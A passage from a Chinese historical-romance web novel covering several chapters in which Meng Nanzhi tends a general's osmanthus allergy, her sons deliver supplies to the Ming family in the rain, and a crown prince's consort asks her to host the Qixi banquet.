听到沈卿知突然问的这句话,她刚放松下的心又猛地提了起来,在母亲的暗示下,只得微微点头,怯生生地说道:“是的,侯爷。”
去孟府寻沈砚修拿及笄礼一事不能说。
设计未成,还被南姨揭穿之事就更不能说了。
沈卿知闻言暗自点头,与沈二叔对视一眼,共同去了书房。
刚入书房,还未坐下来,沈卿知便道:“二叔,奕王明显对筝筝有意,不若把她的名字划入族谱吧。”
沈二叔坐在太师椅上轻叩桌案,眸中思绪万千,摇了摇头,“她到底是陆家的孩子,入咱沈家的族谱是大忌。”
沈卿知劝慰,“她父亲已经死了,当初陆家赶婉柔出府,也是把她也赶了出来的,筝筝的名字根本就没落在陆家的族谱上。”
沈二叔想了想还是摇头,“再等等,等奕王给个准话。”
沈卿知再次劝说,“二叔,筝筝她现在在沈府名不正言不顺,奕王他为了名声也不会给准话的,只有咱先拿出个态度,给了筝筝该有的正名,才有给奕王谈话的机会。”
沈二叔依旧觉得不保险,未能同意,“你容我再想想,这是大事,急不得。”
这厢,陆筝筝跟着母亲林婉柔进了闺房。
屏去丫鬟婆子,林婉柔目光落在陆筝筝有些散乱的发髻上,“说说,什么情况?”
她对自己的女儿还是了解的,刚才撒了谎。
陆筝筝半跪在她身前,睫毛微颤,“母亲,宝石没拿回来。”
林婉柔对此心里有数,孟南枝的东西若是好拿,那她就不叫孟南枝了。
叫女儿去找沈砚修要,无非是想恶心恶心孟南枝,给她添一下堵。
所以对于宝石的结果她并不在意,反问道:“奕王是什么情况?”
陆筝筝吱吱唔唔地把从赶观棋回去,再到自己被孟南枝揭穿一事说了一遍。
林婉柔闻言气得拍了下桌子,“你做事到底有没有脑子,那插在马尻上的针为何不当场就取了。”
陆筝筝娇滴滴地开始落泪,“母亲,我没想到南姨和将军会去。”
林婉柔看女儿落泪,有些嫌弃地斥道:“自己没办成事,哭什么哭。”
陆筝筝忙不迭拿袖帕止了眼泪,怯生生道:“母亲,那车夫被将军带走了。”
“我会想办法,你就记着你什么也没做,什么都不知道,就是马惊了就行。”林婉柔当下便定了计划。
说完她又看着陆筝筝补充道:“不管今晚到底是因为什么,你只要认定是奕王送你回来的就行了,其他的一概不要告诉侯爷。”
陆筝筝怯生生地点头,“是,母亲。”
……
说是吃阳春面,但真走的时候就有些尬了。
只有一匹马。
来的时候可以说是因为事态紧急,这回去就没必要再硬凑着坐在同一匹马上了。
谢归舟笑得温和,“你坐上吧,我牵着你。”
“那怎么可以,还是将军坐吧,我牵着将军。”孟南枝拒绝,她觉得自己还没那么大脸,让将军给她牵马。
谢归舟看她拒绝得并不算特别干脆的模样,笑得更深,“那一起走吧。”
“也行。”孟南枝这次倒没拒绝,两人一起走总比一上一下强。
她不喜欢别人俯视她的感觉。
她喜欢俯视别人。
还是不算太熟,要顾忌礼节,真熟了,她自然是坐上面那个。
七月初的夜依旧很燥,没有月亮,天是阴沉的。
两人并肩而行,偶尔路过的街灯会照映出两个人的影子。
谢归舟盯着地上的被拉得修长的影子,时不时地伸出手,或倾斜下身子,使那两道影子时不时地紧挨在一起。
落在旁人的眼睛里,那仿佛就是一对缠缠绵绵的恋人。
孟南枝倒是没注意到地上的影子,她肚子是真的饿了,越走越虚,还有些担心长子他们。
不知道他们走到哪了,路上顺不顺利。
察觉到她气息的变化,谢归舟抬起头,不再关注影子,喉间滚了几滚,才轻轻地道出一声:“南枝。”
“嗯?”
孟南枝抬头,这好像是谢归舟第一次不带姓氏地直呼她的名字。
小的时候……
孟南枝回忆了一圈,没有他叫她名字的记忆,唯一一次就是上次说不是每个人都需要她救。
胆小的少年,如今胆大了不小嘛。
不过想想也是,都是做将军的人了。
胆子若不大,大衍百姓都害怕。
她看着他的脸,静静地等着他说话。
谢归舟看着她清亮的眸子里,映着自己的影子。
纯真,清亮,一如既往。
没有多余的情绪。
指尖陷进掌心,又松开,他声音带了点沙哑,却依旧温和,“到了。”
第79章 她说:把衣服解开
孟南枝顺着他的目光转身,面馆就在她的右侧。
夜色太晚,店老板刚准备打烊,看到谢归舟后,惶恐而又恭敬地请他们入内。
面店装潢简单,孟南枝与谢归舟面对面坐着。
沾了谢归舟的面子,等面的时候店老板先送来了两碟精致的小菜。
一碟桂花糖藕片,一碟酸辣酱萝卜。
都是她平日喜欢吃的。
酸味涌入鼻息,更饿了。
为表客气,孟南枝执起木箸,将小菜为谢归舟布置在碗里,“将军请。”
自她回来,他没少助她,礼该到位。
谢归舟低头看着碗里的泛着浓浓香气的桂花糖藕片,静默了几息,才唇角含笑地拾起木箸送至嘴里,细嚼慢咽。
甜意在味蕾间绽放,添满整个口腔。
见他入口,孟南枝也自顾吃了起来。
桂花糖藕,甜而不腻,软糯可口。
酸辣萝卜,清脆开胃,很是好吃。
食几片下胃,简单地充了饥后,孟南枝便未再食。
只是抬眉后,才发现谢归舟还在慢条斯理地吃着碗里的那几片桂花糖藕片。
他的手指修长,骨节清透,指甲修剪得圆润干净,一看就很自律。
视线顺着他完美的手指移到脖颈处,只见那麦色的皮肤上竟布满了一片细密的红疹,宛若红梅点点,却无半分美感。
“嗡——”
孟南枝的脑花突然炸开,瞬间起身从他手中夺过碗箸,拉住他的手往店外走。
“别吃了。”
她竟忘了,他对桂花过敏。
谢归舟被她拉得起了身,低头看向她担忧的神情,和被她紧紧攥住的手,温声安抚,“不用担心,我已经没那么过敏了。”
孟南枝回头看向他脖颈的红疹,明显带着怀疑,“把衣服解开。”
她记得自己早年入宫给皇后娘娘请安时,曾看到过一次。
他因食用桂花鱼导致过敏,红疹布满全身。
太医说这种红疹,寻常人起了会觉得全身奇痒无比,难以忍耐。
更有甚者,会呼吸困难,窒息昏迷。
偏偏那时才不过十多岁的他,哪怕忍得青筋暴起,也能做到一声不吭。
谢归舟闻言目光落在她白皙的颈间,眸色微暗,蜷了蜷手指,没动。
孟南枝只得亲自上手解开他腕间的素色盘扣,将袖子捋上去,露出半截清瘦的手腕。
麦色的皮肤在烛光下泛着淡淡的光泽,隐现的青筋藏着沉稳的力量,配合着他那张清冷如画的脸,显得即文雅,又凌厉。
“你看,我说了,没那么过敏了。”谢归舟试图将袖口放下去。
孟南枝却突地将袖口又往上捋,只见那红疹竟顺着臂膀向着手腕处缓缓蔓延。
直到布满整个手臂。
孟南枝心中一窒,却什么话也没说,替他扣上盘扣,斜睨了他一眼,开始往外走。
谢归舟盯着被她松开的手,眸色暗了暗,跟着她出去。
孟南枝已经牵好了马匹等他,“上马。”
知她在生气,谢归舟低垂着眼帘没再反驳她。
他踩着马镫缓缓坐上马背,没有俯首去看她,而是看着前方空无一人的街道,语音轻和,“别去太医院。”
姐姐知道了,只怕会难为她。
孟南枝颔首未言。
她知道,当初因为谢归舟过敏,那日所有经手桂花鱼的奴婢,全被皇后娘娘下令活活打死。
她只是路过一瞥,因为跟她又没有什么干系,所以早早就把这件事给忘了。
能不去太医院最好。
牵着马匹,绕过两个巷口,便寻到一处医馆。
孟南枝扶谢归舟下马时,感觉他的手还有些僵。
看着他额间沁出的汗意,孟南枝暗暗蹙眉,从袖口掏出一方袖帕递给他,“把脸遮了。”
总归是不能让人知道他的私密,免得为他惹来麻烦。
袖帕还带着她的香气,谢归舟蒙上唇鼻后,手背上的青筋更深了。
感觉到他呼吸变得沉重,孟南枝为自己也遮上帕子后,连忙挽住他的臂弯,半拖着他进了医馆。
医馆的白发老大夫正在伏案抄方,闻声见二人进来,目光在他们被袖帕遮住的脸上停留一瞬,随即起身迎上,“姑娘,可是这位公子身体不适?”
扫视一圈,见堂内并无第二人,孟南枝才开口道,“对,快给他看看。”
老大夫点点头,引着他们到内堂坐下,伸手搭上谢归舟的脉搏,又细看他手腕及手背均已起来的红疹,皱眉道:
“呼吸浅促,脉象浮数。此乃邪气客于皮肤,复逢风寒相折所起的隐疹。若不及时解表,轻者昏厥,重则闭喉致命。公子能忍到此刻,真是奇事。”
“还要劳烦大医快些医治。”孟南枝看了眼谢归舟依旧平静没有变化的脸,真心叹服。
不亏是谢家子嗣。
“我给公子施针后,便可得到缓解。”
老大夫已从医箱取出银针,动作利索地扎在谢归舟的穴位上。
百息之后,谢归舟手背及手腕上的红疹开始渐消。
老大夫又开了几副药叮嘱孟南枝回去一定要按时煎服,切莫再碰触过敏之物。
孟南枝一一应下。
两人从医馆出来时,阴沉的天空竟然又飘起了小雨。
淅淅沥沥地打在马背上,淋湿了马鞍。
孟南枝刚要抬起袖口去擦拭,就被身后的谢归舟按住了手臂,“我来。”
他个子很高,只微微抬手便将马鞍上的雨滴擦拭干净,而后低下头温和地看着她,“你坐。”
孟南枝抬脚翻身上马,垂眉看他,“上来,下雨了,快点回去。”
谢归舟颔首,恢复了些力气的双腿轻抬,稳稳坐在她身后。
战马奔腾,他的两手依旧放在两侧,中间还是始终保持着几寸的距离。
不敢靠近,却也舍不得后退。
两人同骑到孟府的时候,强壮的百万就蹲在门口一直侯着。
见到他们回来,连忙迎上前,“将军,孟姑娘,你们可算回来了,我都等半天了。”
在房门处等着孟南枝的月芹也撑着油伞走过来,“姑娘。”
孟南枝跟着谢归舟一起翻身下马,冲他嘱咐道:“将军回去好生歇息,药煎好后我让人给你送去,你记得一定要喝。”
谢归舟盯着她被雨打湿睫毛下固执而睛亮的眼眸,微微颔首,“好。”
见他应下,孟南枝便在月芹的服侍下回了孟府。
没懂的百万对着将军全身上下打量,“将军你病了?什么病?严不严重?要不要我再去请军医过来瞧一瞧。”
谢归舟斜睨了他一眼,“聒噪。”
百万:……
将军嫌弃他。
第80章 他这长外孙倒是个懂事的
“父亲可是已经歇下了?”
孟南枝瞄了眼父亲的别院,她出门的时候,父亲有事外出还未回来。
一直给她撑伞的月芹回道:“老爷刚刚歇下,也就比姑娘早回来了半个时辰。”
自从父亲不钓鱼后,好像反而比之前更忙了。
没去打扰父亲,孟南枝点头表示知道后,将手中拎着的药递给月芹,“快去着人把药煎了给将军送过去。”
“好的,姑娘。”
月芹一直护着她上了阁楼,才拎着药包下去安排小丫鬟煎药。
因着淋了雨,身上有些黏湿,孟南枝进屋第一件事便是换了衣衫,松开发间的簪子。
玉簪取下放在案前,孟南枝才发觉这簪子有些不对。
玉质并不算清透,应不是长子递给她的。
联想到白日里的画面,孟南枝沉静的眸子闪了闪,起身把玉簪放入妆匣。
抬眼看向窗外依旧未停的小雨,也不知长子他们有没有赶上明家母女。
……
皇宫,御书房。
圣上萧潜雍刚批完最后一道折子,抬头落向窗外的细雨,“正德可是回去了?”
身侧的内侍连忙应道:“回圣上,已经回了,这个时辰怕是已经歇下了。”
萧潜雍看了眼自己桌案上的奏折,“他倒是好命。”
内侍知圣上只是批折子批得乏了,才发此感慨,忙笑着道:“孟太傅能有此福气,全靠圣人恩宠。”
萧潜雍却未接话,似是想起了什么,忽而问道:“正德那长外孙当真去给明家母女送物资去了?”
内侍回道:“是,还问屠戎将军借了侍卫,再过半个时辰差不多就要赶上了。”
萧潜雍点头,目光落在窗外淅淅沥沥的小雨上,难得笑了笑,“他这长外孙倒是个懂事的。”
……
京城外百里地的官道上。
越往西走,雨水越大。
官道泥泞不堪,马蹄踏下时溅起的泥水四散飞开。
沈砚修一行人已经足足行了三个多时辰。
幸好来之前母亲提前将马车全部裹上了油布,还给他们都准备了蓑衣。
若不然,他们都不知道要淋成什么样子了。
他扭头看了与江鱼同骑一马的珩弟,“珩儿,你累不累,要不要休息一会儿?”
沈砚珩被雨水淋得直眨眼,略显疲惫,却难掩眸中兴奋,“哥,我不累,赶紧走路吧,早点赶上她们,咱也好早点回去,母亲在家等着咱们呢。”
“好,那就再加快下速度。”沈砚修点头,双腿用力一夹马腹,前行的速度又加快了一些。
在他们前方几里的地方,明家母女的马车陷进了泥坑里。
明挽月正和几名侍卫一直用力地推马车。
发髻被打湿,紧紧地贴在她的脸上,裙摆上也都是泥点子。
明程氏嘱咐她,“挽月你先去歇歇。”
明挽月摇头,“母亲,我不累,若不赶紧推出来,等雨下得再大些,就更不好推了。”
见她执意,明程氏也不再劝她,在旁边指挥着方向,“往这边来,对,就是这边,用力。”
“听我喊,一,二,三,推。”
几人合力,马车终于推了上来。
明挽月却因用力过度,整个身子贴着轮子就要落在泥坑里。
一道身影急速地跑过来把她往前面推了一把,自己却跌落进去。
明挽月被推了个踉跄后落入明程氏的怀里。
她看着水坑里的人影,满脸惊喜,“沈砚修,你怎么来了?”
沈砚修一身泥水,连唇间都溅上了泥点子,他起身擦了把脸,才对明程氏拱手道:“砚修见过明夫人,母亲听闻明夫人与明姑娘回边关,特嘱咐我来给你们送些路上用的物资,还有护卫送你们安全。”
刚才女儿差点落水,他毫不顾忌地上的泥泞护着女儿那一幕,明程氏看得清清白白。
眼下再见他如此知礼有节,心下甚是满意道:“你母亲有心了,替我谢谢她。”
明挽月从马车上拿出一套新的蓑衣走到过来递给他,“谢谢你救我,把你身上那件换下来吧,都脏了。”
沈砚修看她自己都没穿,摇了摇头,“你穿吧,我一会儿就回去了。”
明挽月回头看了眼去和谢钱说话的母亲,小声道:“你看到我给你留的信了吗?”
“我就是看到你留的信才过来的。”
沈砚修点头,目光落在她被雨水淋得湿露露的脸上,不似陆筝筝始终娇滴滴要哭不哭的模样,她的眼睛透亮,还带着股韧劲。
就像外祖父花园里的刺梅,看似寻常,又偏偏移个位置也能生长。
听闻他这话,明挽月眉间涌出喜意,说出的话即直白又戳人心窝,“我原来还以为你是真的要与我退婚,现在看来你是与我一样期待的。”
沈砚修有些尴尬,没接话。
若不是母亲阻拦他,他可能真的就去退婚了。
而且自己到现在,也还没有与她结婚的想法。
怕是让她失望了。
他移开脸,避免碰上她直白的视线,“走,给你介绍下我弟弟。”
沈砚珩正与江鱼一起聊着兄长刚才落水的那一幕。
“看到没,我哥,狭义心肠,舍己为人,多么伟大。”
江鱼连翻白眼,“你这两日话多了些。”
他第一次见到的那个沈砚珩,可是个不爱说话,还动不动就会偷偷吃酒哭两声的小子。
怎么自从他那母亲回来后,就变成话痨了呢。
真不适应。
两人正说着,沈砚修就带着明挽月走了过来,“珩弟,这是明姑娘。”
沈砚珩站直了身子,连忙乖巧地行礼,“嫂子好。”
沈砚修一巴掌拍在他的头上,“重新喊。”
沈砚珩顺水而流道:“明姑娘好。”
明挽月难得羞红了脸,“你好。”
沈砚修又对她介绍道:“这是江鱼,我弟的朋友。”
听他说自己是朋友,江鱼难得正经地轻咳了一声,“明姑娘好。”
“你好。”
明挽月好奇地扫了他一眼。
这人的气息好熟悉,和她应该是同一类人。
另一边,明程氏看着钱飞他们带来的两车物资和几名侍卫,有些不解,“将军不是已经安排过了吗?怎么又安排着再送一趟?”
钱飞看了眼她身后,“这次不是将军安排的,是孟姑娘亲自委托将军给你们送的侍卫和物资。”
明程氏顺着他的视线看了眼沈砚修他们兄弟俩,“将军没和孟姑娘说?”
钱飞言简意赅,“应是不想驳了孟姑娘的心意。”
明程氏似想起什么,唇角含了笑,“我知道了,可这物资是不是太多了。”
钱飞平述事实道:“前几日,圣上派工部带着河工去了九曲河,如今山城连日阴雨,多备些没有坏处。”
第81章 太子侧妃,曹宛宁
因为长子与次子未归,所以孟南枝沐浴完并未歇下。
她身着素色中衣,坐在窗前的软榻上,眼盯着窗外淅淅沥沥的细雨,心里却是在琢磨巨幕中之前忽略的细节。
月芹在一旁轻声劝道:“姑娘,夜已深了,您先歇息一会儿,等世子和二公子回来我再唤您。”
孟南枝轻轻摇了摇头,说道:“再等等吧,我还不困。”
子行远门,作为母亲又如何能安榻入眠。
看着窗外雨势渐停,她又问道:“药可给将军送去了?”
谢归舟到底是因她起了红疹,总归是要确认他是否把药喝下。
月芹为她搭上一张薄褥,“已经让月满送过去了。”
孟南枝闻言便未再问,眼帘微阖等着长子他们回来。
东临府院,同样再次沐浴完、喝过月满端来汤药的谢归舟也并未歇下。
他身上的红疹虽消,却还带着极致的痒意。
带着蔷薇香气的袖帕被他贴在鼻息前,燥意在体内横生四起,才勉强将那痒意压下去。
她喜欢桂花,钟情于吃所有跟桂花有关的膳食,桂花鱼、桂花糕、桂花羹。
偏偏自己生来就对桂花过敏。
十一岁那年在宫内见她吃得香甜,便期许自己能与她共食一膳。
偏生又一次让她看到自己颇为狼狈的一面。
他缓缓将袖帕从鼻息间拿开,任那痒意再次卷土重来,起身坐到桌案前,开始起书办公。
月满送来的汤药就放置在案前,他始终未去端起。
她已和离,自己好不究竟才有同她共膳的机会。
若想再进一步,总归不能让她迁就自己。
哪怕是天生过敏,他也能抗得。
直到天色将亮,庭院传来声响。
一夜未曾入眠的孟南枝立刻起身,在月芹的服侍下穿上外衣下了阁楼。
急步走到正院,便看到刚刚归来的沈砚修四人。
长子沈砚修满身泥泞,发丝黏湿凌乱,满身疲惫的眼中却闪烁着归来的喜悦,“母亲。”
次子沈砚珩比他要稍微好一点,衣服上少了泥泞,只有湿气,看到母亲,也是兴奋地喊了一声。
江鱼还没能够代入自己“书童”的身份,只是对她恭敬地行了一礼。
孟南枝见他们虽有疲惫但精神都尚好,心中担忧消散不少。
她缓步上前对护送长子归来的钱飞微微颔首,声音温和:“此行劳烦都尉护送小儿往返,辛苦至极,不若稍作歇息在府上食些便饭。”
“孟姑娘客气了,此乃钱某分内之事。既已将两位公子送回,还需向将军复命。”
钱飞拱手回礼,神色恭谨,完全不敢承接她的道谢。
见他执意要走,孟南枝也不勉强,招呼着月芹送他出府。
所幸只是一墙之隔,几步路的功夫。
待他走后,孟南枝才转身对长子他们柔声道:“累坏了吧,你们快去洗洗,换身干净衣裳,别着凉了。”
观棋早已在府院为他们准备好热水和干净的衣衫。
三名少年都很乖巧听话地回了院子去清洗。
孟南枝又嘱咐厨房赶紧备膳,待他们换洗完毕,正好可以吃上热腾腾的饭菜。
虽对江鱼的身份还有些戒备,但次子沈砚珩既然和她说了江鱼是朋友,孟南枝也就没把他当书童看待,让他们三个少年一同坐了餐桌。
直到三人用膳完毕,孟南枝才轻声问道:“路上可还顺利?明家母女可还好?”
沈砚修接过观棋递来的布巾,擦拭完嘴角,道:“还算顺利,只是越往西走,雨势越大,看起来不算太好。明夫人她们都挺好,还让我替她向您道谢。”
照长子所说,越往西走雨势越大,只怕山城那里会更加不好。
孟南枝眉峰微蹙,没将不好的情绪带给他们,又笑问道:“明夫人客气了,明姑娘呢?她怎么样?”
她挺喜欢明挽月那个小姑娘的,本来还想让她留京与长子培养下感情。
没想到事实难料,明老夫人重病,她断没有留她下来的道理。
沈砚修闻言脑中闪过明挽月在风雨中依旧明眉皓齿的模样,自己都未能察觉的语气愉悦了几分,“她挺好的,马车陷入泥坑里,她还去推马车。”
这点比陆筝筝要好得多。
陆筝筝只会坐在一旁干看着,或者哭啼啼地向他求助。
沈砚珩在一旁补刀:“是的,母亲,你是没见到明姑娘推马车时,气力大得很,差点扑到水坑里,还是我哥救了她。”
沈砚修面色稍绯,轻拍了弟弟一下,“你少说两句。”
孟南枝见他这般模样,心里有了定数,唇角微扬,“累了一晚,你们三个快去歇息。书院那边,我会让观棋去给你们请假,今日便在家休息一日。”
沈砚修道:“谢母亲。”
沈砚珩闻言眸子里闪过惊喜和松懈。
终于可以名正言顺地逃课了。
孟南枝轻轻扫了他一眼,只当不知。
把他们送去歇息后,孟南枝又交代早起的刘嬷嬷,等父亲和胡姨娘醒来,把事情原委和他们说一声。
自己带着月芹也回了阁楼开始补眠。
等她醒来时,已近晌午,家里来了贵客。
曹国公家的二小姐,曹宛清的妹妹,也是如今的太子侧妃,曹宛宁。
她身着云霏妆花缎织海棠锦衣,鬓边插着支鎏金穿花戏珠步摇,正端坐在正厅的檀木椅上,与胡姨娘惬意地说着话。
见到她回来,眉目含着笑意起了身,对她轻柔道:“南枝姐。”
因着孟南枝自幼与曹宛清关系便甚好,所以曹宛宁与她的关系也很是亲近。
当初谢归舟到了适婚年龄时,第一个看好的便是她。
只是可惜谢归舟竟然因伤未娶,皇后便她指给了太子做侧妃。
太子妃身子骨不算太好,婚后一直无所出。
所以曹宛宁嫁于太子后,与太子两人也算得上很是恩爱。
又诞下一名男婴,其得宠程度,完全碾压于太子妃。
孟南枝对她微微施礼,“臣女见过侧妃娘娘。”
曹宛宁将她扶起来,“南枝姐你怎么能这么客气,依旧称我宛宁便是。”
说罢又细细地端详了她的脸,有些羡慕地说道:“我听太子说你容颜未改,本还不信,今天见到,算是彻底信了,南枝姐你现在看起来比我还要年轻些呢。”
孟南枝笑道:“只是水土养得好些。”
曹宛宁不会无缘无故来孟府,所以孟南枝也就等着她道出来意。
果真闲谈了两句,她便话锋一转道:“不瞒南枝姐,我今日来是有件事想请你帮忙。”
第82章 姨娘,你抢钱庄啦?!
曹宛宁说得客气,但太子侧妃开口,又哪有她拒绝的道理,定是奔着她必然会答应才来的。
所以孟南枝也没有矫情,爽快地笑道,“侧妃娘娘但说无妨,若我能帮得上,定不会推辞。”
曹宛宁轻轻弯起的眉眼中带着几分愁绪,“明日不就是七巧节了嘛,你也知道这七巧宴一直以来都是在国公府办的,只是我母亲昨日得了风寒,身子还没好利索。”
“本该我与姐姐一同回去操持,可我这两日也身有不适,便想着来寻你帮着操持一下这七巧宴的事宜。”
说到这些,她眸色温婉,原本放置在桌案上的玉手轻轻地放在了小腹上。
孟南枝见状心下通透,知晓她应是又有了身子,只是未过三月,不好与外人说道。
联想巨幕中太子故后,皇长孙被人陷害,她独自在荒野生下孩子的凄惨模样。
孟南枝心下微揪,掩去眸中的疼惜,不动声色地轻笑着应了下来,“既然侧妃娘娘如此信任于我,那我便尽力而为。”
但话不能说得过满,为避免意外,她说到此处又拐了个弯道:“只是你也知我这十年未曾在京,许久不曾操办过这些,若有不周之处,还望侧妃娘娘莫要怪罪。”
曹宛宁一听她答应,脸上愁绪顿时消散下去,轻拉住她的手,娇嗔道:“南枝姐你能愿意帮我,我都感激不尽呢,哪能再去怪罪你。”
“再说你做事一向稳妥,母亲还常常教导我和姐姐多多向你学习。有你在,这七巧宴定能办得妥妥当当,若是出错,那也定是旁人的错。”
想想上次见她,还是个婷婷少女,如今竟然已经是再怀人子的太子侧妃了。
时光荏苒,事实难料。
孟南枝握着她娇嫩的玉手,心下不免万分感慨,温笑道:“侧妃娘娘放心,我既已应下,定会妥当操持。只是这七巧宴历来规矩繁多,不知娘娘可有特别交代之处?”
曹宛宁认真地想了想,道:“我倒也无甚特别交代之处,凡事南枝姐可与我姐姐商议。我会安排两个妥帖的管事和嬷嬷过去,南枝姐你有任何需要,只管吩咐她们。”
如此甚妥。
孟南枝点头应下,“侧妃娘娘安排妥帖,那我就丞了你这个人情了。”
国公府办这七巧宴多年,流程早已熟络。
即便曹国公夫人生病,曹宛宁因有了身子过不去,单由曹宛清一人操办也是可以的。
邀她过去应该也是想为她抬面。
瞄了眼曹宛宁还未凸显的腹部,孟南枝又柔声道:“你如今身子不便,不宜操劳,还是多休息为好。这七巧宴的事宜,我会依照你的嘱托多与你姐姐商议,你且放心便是。”
“那就多谢南枝姐了。”曹宛宁感激地看了她一眼,又说了些七巧宴的细节后,起身带着随行的宫女与孟南枝告辞。
孟南枝送她至孟府门口时,曹宛宁抬眸状似好奇地瞧了瞧东邻府院的大门,“南枝姐,我听太子说国舅搬到了这里,可是真的?”
孟南枝跟着她也瞧了一眼,见那府门锁着,便点头道:“是,国舅是前日刚搬过来的,这会儿门锁着,应是外出了吧。”
曹宛宁闻言微微颔首,眉目如常,并未再过多询问,由宫女扶着上了马车。
待太子府的马车远去后,孟南枝才收回目光,转身和胡姨娘一起踏入府门。
因着下了一宿的雨,院里还带着湿气,走过去脸上还带着黏湿感。
回到厅中,知道她一夜未眠的胡姨娘已嘱托厨房为她专门熬了安神汤。
瓷盏递到手中,暖意透过指尖直抵心口,淡淡的药香和桂花香交织着涌入口中,孟南枝刚刚睡醒的脑子果真清醒了许多。
看胡姨娘一直慈爱地看着自己,孟南枝好奇道:“姨娘怎的一直这般看我。”
胡姨娘宠溺道:“自然是看我们枝枝生得好看。”
虽说孟南枝已经回来了数日,但胡姨娘还是觉得不可思议。
每天看到她都感觉跟做梦一样。
生怕一眨眼,又寻不到她了。
孟南枝轻嗔道:“姨娘也生得好看。”
“枝枝惯会哄我。”
胡姨娘同样也嗔了她一眼,吩咐贴身嬷嬷拿过来一个小箱子,双手放在桌案上推给她。
“我知你这些时日一直在用钱买振灾用的东西,姨娘本事不大,但这些年也存了不少银子,你拿去用。”
胡姨娘家势低微,其父只是一八品小吏。
当年为了升官想将她许配于上官做第十八房小妾。
是母亲阻拦,硬将她从胡家拽出,强让父亲纳了她。
她入孟家时,胡家并没有为她备多少嫁妆。
她入孟家后,胡家时不时地以她生母的名义来打下秋风。
胡姨娘心疼她的生母,虽然不甘,却也一直接济。
据孟南枝所知,她并没有存下多少银钱。
这些应该都是她溺水不止的这些年,胡姨娘在生母故后,和胡家断了来往,好不容易才存下来的。
所以孟南枝又哪会去用她的养老钱,忙推还了回去,“姨娘,已经买够了,不需要再买了。”
见她不收,胡姨娘脸色板了下来,“枝枝是不是嫌弃姨娘,觉得姨娘给的钱少,所以才不肯收。”
“枝枝,姨娘知道自己身份低微,不敢自称娘亲,但这些年姨娘一直是拿你当女儿看待的。姨娘没别的本事,就存了这点钱,想给自己的女儿花都不行吗?”
胡姨娘说着,眼眶微微泛红,那眼神里满是恳切与委屈。
孟南枝见她这般模样,心中一酸,知道她一片赤诚,若再推辞下去,定会伤了她的心。
想着从里面取出小一部分安抚一下她也行,便缓缓伸手将那小箱子接了过来,并面上带着笑容跟她道:
“姨娘,你莫要多想,你还不了解我吗?我就是跟你客气客气。正好我也还缺那么一小丁点,我先用其中一点,剩下的你也给我留着,什么时候我还需要用,就再找你拿。”
孟南枝原本搬起来的时候觉得沉甸甸的,以为里放的都是些碎银。
哪想一打开,里面满满一盒银票,足足有二十万两。
当场便觉得脑子如被雷劈了一样震惊,“姨娘,你抢钱庄啦?!”
第83章 她那晚想明白了很多事
孟南枝不是没有见过这么多银票,而是没想到胡姨娘竟然能存这么多银票。
毕竟胡姨娘一向过得谨小慎微,还要时不时地接济胡家。
“怎么说呢。”胡姨娘嗔拍了她一下,布满细纹的脸上竟是笑得有些腼腆,“老爷致仕后,府里的景色不如从前,我便想着做点小生意,开了几个布庄,做了些新兴的衣裳,慢慢地这生意就好起来了。”
“就城中的那个胡氏绸缎庄?”
孟南枝惊讶,想起刚回来第二日陪长子去吃灌汤包时,在街上看到的那个替换掉原来李氏药堂的胡氏绸缎庄。
“是,那是我开的其中一家。”
胡姨娘眉目之间带了点难见的自得。
孟南枝一时脑子有些卡壳,毕竟她对做生意没什么天分。
真羡慕这些会做生意,还特别是临老突然设肆经商,做得如此成功的人。
想到她昨天还在暗思刘嬷嬷做事不够大胆,没能抓住经济发展期,没想到今日胡姨娘就给她这么大个惊喜。
银票有些超乎她想象的多,孟南枝拿捏不准情况,“父亲知道吗?”
胡姨娘轻笑着即点头又摇头,“老爷知道一些。”
老爷深爱枝枝的母亲,纳她本就是为了了枝枝母亲的心愿,对她没有多少情分。
枝枝枝溺水后,老爷更是致仕一心寻女,对她的关注并不算多。
铺子刚开业的时候,她和老爷提了一嘴,那时碰巧遇到有人给老爷汇报说听到了枝枝的消息。
老爷慌着去探查,也不知对她的话有没有听完。
没能寻到枝枝,老爷回来后到枝枝生母的灵牌前坐着哭了一晚。
她那晚背着老爷也在门口静坐了一夜,想明白了很多事。
此后,一些除非必要的小事,便没再和老爷提过了。
但她开布庄做生意到底是借了老爷的势,用了老爷的人脉关系,所以她想着即便她不说,依老爷的聪慧应也是知道的。
只是老爷可能不太知道她到底盈利了多少而已。
虽然胡姨娘没对她细说,但孟南枝对父亲的脾性也是了解的,恐怕对胡姨娘做生意是只知其一不知其二。
为不拂了她的心意,孟南枝只取了其中四分之一,“姨娘,我就用这些,剩下的你还是存起来,留着自己用吧。”
胡姨娘哪会愿意,将盒子再次推给她,“说了是给你的,你就都拿走,莫要做这客气之举。”
孟南枝又岂会听她的,“姨娘,你这是真不信我了,真需要用那么多,我又岂会和你客气。”
怕她不信,孟南枝又指了指上头,“这粮?,适当备些可以,是不能买多的,容易引人猜忌。”
胡姨娘早年的时候对朝堂这些还不太懂,在孟家待了这么多年,又做了生意,耳睹目染的也就通透了许多。
她拉住孟南枝的手,轻拍了拍道:“这些银票你都拿去用,哪怕不买粮草,用来花在其他地方也是可以的。枝枝你也知道姨娘读书少,见识浅薄,帮不了你什么,现在唯一能做的就是给你银钱了。”
孟南枝心中暖意涌动,反握住胡姨娘的手,“姨娘心意枝枝是晓得的,但我真用不了这么多。”
见她始终不接,胡姨娘知她要强,也不再强求,总归枝枝以后都在这个家,缺什么她给枝枝安置了便是。
思此,她温和笑道:“也罢,姨娘知你一直自有定数,姨娘就先收起来。”
“但枝枝呀,姨娘先和你说好,姨娘现在做了生意,手头上银钱宽余,以后每月初一都会给你一万两银票,这是我的心意,你可一定要收着。”
胡姨娘的语气难得如此绝对,不容她去拒绝。
孟南枝心下慰贴,未再去驳她的心意,点头应了,“那枝枝以后就可全靠姨娘照拂了。”
想到今日又未能见到父亲,孟南枝环顾四周问道:“姨娘,父亲呢?可是又出去了?”
胡姨娘点头轻笑着应道:“是,自你回来后,老爷心情大好,你歇下时,他同将军一起出去办事了。”
怪不得东院府门也锁着。
知道父亲是有事出去,孟南枝便放下心,吩咐刘嬷嬷备些薄礼,便带着月芹一同前往曹国公府。
既然应了太子侧妃,曹国公夫人又生了病,总归是先提前去探望一下,同时也问问她对明日七巧宴有何安排。
曹国公府距离孟府不算远。
马车滚动,不过半刻钟的车程便到了。
孟南枝在月芹的搀扶下,下了马车。
门房是位年轻小厮,虽不识得她,却很是机灵,单是看到孟府的马车,就连忙恭敬地迎了上来。
一边引着她往府里走,一边派人去通报。
府院内热闹无比,曹宛清穿着一身正蓝褥裙正指挥着丫鬟婆子做那清扫工作,隔着几道墙还能闻到厨房那边准备的瓜果香。
